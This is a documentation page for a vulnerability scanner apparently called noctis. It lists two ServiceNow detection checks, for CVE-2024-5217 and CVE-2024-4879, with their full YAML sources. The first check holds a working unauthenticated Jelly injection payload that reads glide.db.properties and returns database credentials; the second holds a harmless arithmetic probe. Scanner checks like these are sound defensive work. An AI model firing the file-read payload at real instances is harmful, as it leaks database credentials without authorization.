ServiceNow — 2 vulnerability checks
noctis ships 2 vulnerability checks for ServiceNow, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ServiceNow Now Platform Jelly File Read via SecurelyAccess
| CVE | CVE-2024-5217 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/servicenow/CVE-2024-5217.yaml |
Tests for CVE-2024-5217: ServiceNow's Jelly template engine evaluates the jvar_page_title parameter without sanitisation. This variant uses SecurelyAccess with path traversal (/co..nf/glide.db.properties) to read database credentials and return them in the error message, confirming unauthenticated file read.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /login.do?jvar_page_title=%3cstyle%3e%3cj%3ajelly%20xmlns%3aj%3d%22jelly%3acore%22%20… - Checks
fileread_resp.bannerforglide\.db\.user→ finding QoD 75: ServiceNow Jelly file read confirmed — glide.db.user found in response, DB config exfiltrated (CVE-2024-5217)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-5217
- https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
- https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
Feed source — tests/vulnerabilities/servicenow/CVE-2024-5217.yaml
# ServiceNow Now Platform Jelly File Read — CVE-2024-5217
#
# ServiceNow before June 2024 patches (KB1644293 / KB1648313) fails to validate
# the jvar_page_title parameter, allowing Jelly XML injection at /login.do.
# This variant of the ServiceNow Jelly SSTI family uses SecurelyAccess and a
# path traversal (/co..nf/) to read glide.db.properties — leaking database
# credentials from the server filesystem without authentication.
#
# Detection: tcp_connect (URL encoding must be preserved — reqwest normalises
# paths before sending). Match glide.db.user in the banner confirms the DB
# config file was read server-side (QoD 75).
uid: c2c67a51-6dfe-48ed-83a1-4de1795b26dd
name: "ServiceNow Now Platform Jelly File Read via SecurelyAccess (CVE-2024-5217)"
description: |
Tests for CVE-2024-5217: ServiceNow's Jelly template engine evaluates the
jvar_page_title parameter without sanitisation. This variant uses SecurelyAccess
with path traversal (/co..nf/glide.db.properties) to read database credentials
and return them in the error message, confirming unauthenticated file read.
cves: [CVE-2024-5217]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [servicenow, ssti, jelly, file-read, info-disclosure, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-5217"
- "https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293"
- "https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data"
steps:
# tcp_connect preserves URL encoding — reqwest normalises %3c/%2f etc.
# Jelly payload: SecurelyAccess reads /co..nf/glide.db.properties and
# reflects the file content via gs.addErrorMessage()
- id: fileread-probe
action: tcp_connect
port: "{{port}}"
send: "GET /login.do?jvar_page_title=%3cstyle%3e%3cj%3ajelly%20xmlns%3aj%3d%22jelly%3acore%22%20xmlns%3ag%3d%27glide%27%3e%3cg%3aevaluate%3ez%3dnew%20Packages.java.io.File(%22%22).getAbsolutePath()%3bz%3dz.substring(0%2cz.lastIndexOf(%22%2f%22))%3bu%3dnew%20SecurelyAccess(z.concat(%22%2fco..nf%2fglide.db.properties%22)).getBufferedReader()%3bs%3d%22%22%3bwhile((q%3du.readLine())!%3d%3dnull)s%3ds.concat(q%2c%22%5cn%22)%3bgs.addErrorMessage(s)%3b%3c%2fg%3aevaluate%3e%3c%2fj%3ajelly%3e%3c%2fstyle%3e HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: fileread_resp
# glide.db.user is a key from the database config — its presence proves
# the Jelly template successfully read /conf/glide.db.properties
- id: fileread-confirm
action: match
source: fileread_resp.banner
pattern: 'glide\.db\.user'
condition: "fileread_resp.connected"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "ServiceNow Jelly file read confirmed — glide.db.user found in response, DB config exfiltrated (CVE-2024-5217)"ServiceNow Now Platform Jelly SSTI Pre-Auth RCE
| CVE | CVE-2024-4879 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/servicenow/CVE-2024-4879.yaml |
Tests for CVE-2024-4879: ServiceNow's Jelly template engine evaluates the jvar_page_title parameter without sanitisation. Injecting a Jelly expression that computes 1337*1337 confirms SSTI when 1787569 appears in the response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj%3Ajelly%20xmlns%3Aj%3D%22jelly%22%20xmlns%3… - Checks
ssti_resp.bannerfor1787569→ finding QoD 97: ServiceNow Jelly SSTI confirmed — 1337*1337=1787569 evaluated server-side in jvar_page_title (CVE-2024-4879)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4879
- https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
- https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
- https://github.com/Brut-Security/CVE-2024-4879
Feed source — tests/vulnerabilities/servicenow/CVE-2024-4879.yaml
# ServiceNow Now Platform Jelly Template SSTI — CVE-2024-4879
#
# ServiceNow before patches KB1644293 (Vancouver) / KB1645154 (Washington DC)
# renders the jvar_page_title parameter in /login.do through the Jelly template
# engine without sanitisation. An unauthenticated attacker can inject Jelly XML
# containing <g:evaluate> to execute arbitrary Groovy on the server.
#
# Detection: tcp_connect (URL-encoded Jelly payload in query string — reqwest
# would normalise the encoded path). Inject 1337*1337; the server returns
# 1787569 in the outputmsg_text div, confirming server-side expression
# evaluation (QoD 97).
uid: 626c56e4-0663-4241-9713-8995844fd35e
name: "ServiceNow Now Platform Jelly SSTI Pre-Auth RCE (CVE-2024-4879)"
description: |
Tests for CVE-2024-4879: ServiceNow's Jelly template engine evaluates the
jvar_page_title parameter without sanitisation. Injecting a Jelly expression
that computes 1337*1337 confirms SSTI when 1787569 appears in the response.
cves: [CVE-2024-4879]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [servicenow, ssti, jelly, rce, groovy, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-4879"
- "https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293"
- "https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data"
- "https://github.com/Brut-Security/CVE-2024-4879"
steps:
# tcp_connect preserves URL encoding — reqwest would normalise %3C, %2F etc.
# which would break the Jelly payload before the server evaluates it.
- id: ssti-probe
action: tcp_connect
port: "{{port}}"
send: "GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj%3Ajelly%20xmlns%3Aj%3D%22jelly%22%20xmlns%3Ag%3D%27glide%27%3E%3Cg%3Aevaluate%3Egs.addErrorMessage(1337*1337)%3B%3C%2Fg%3Aevaluate%3E%3C%2Fj%3Ajelly%3E%3C%2Fstyle%3E HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ssti_resp
# 1787569 = 1337*1337 evaluated server-side — only appears if Jelly ran the expression
- id: ssti-confirm
action: match
source: ssti_resp.banner
pattern: "1787569"
condition: "ssti_resp.connected"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ServiceNow Jelly SSTI confirmed — 1337*1337=1787569 evaluated server-side in jvar_page_title (CVE-2024-4879)"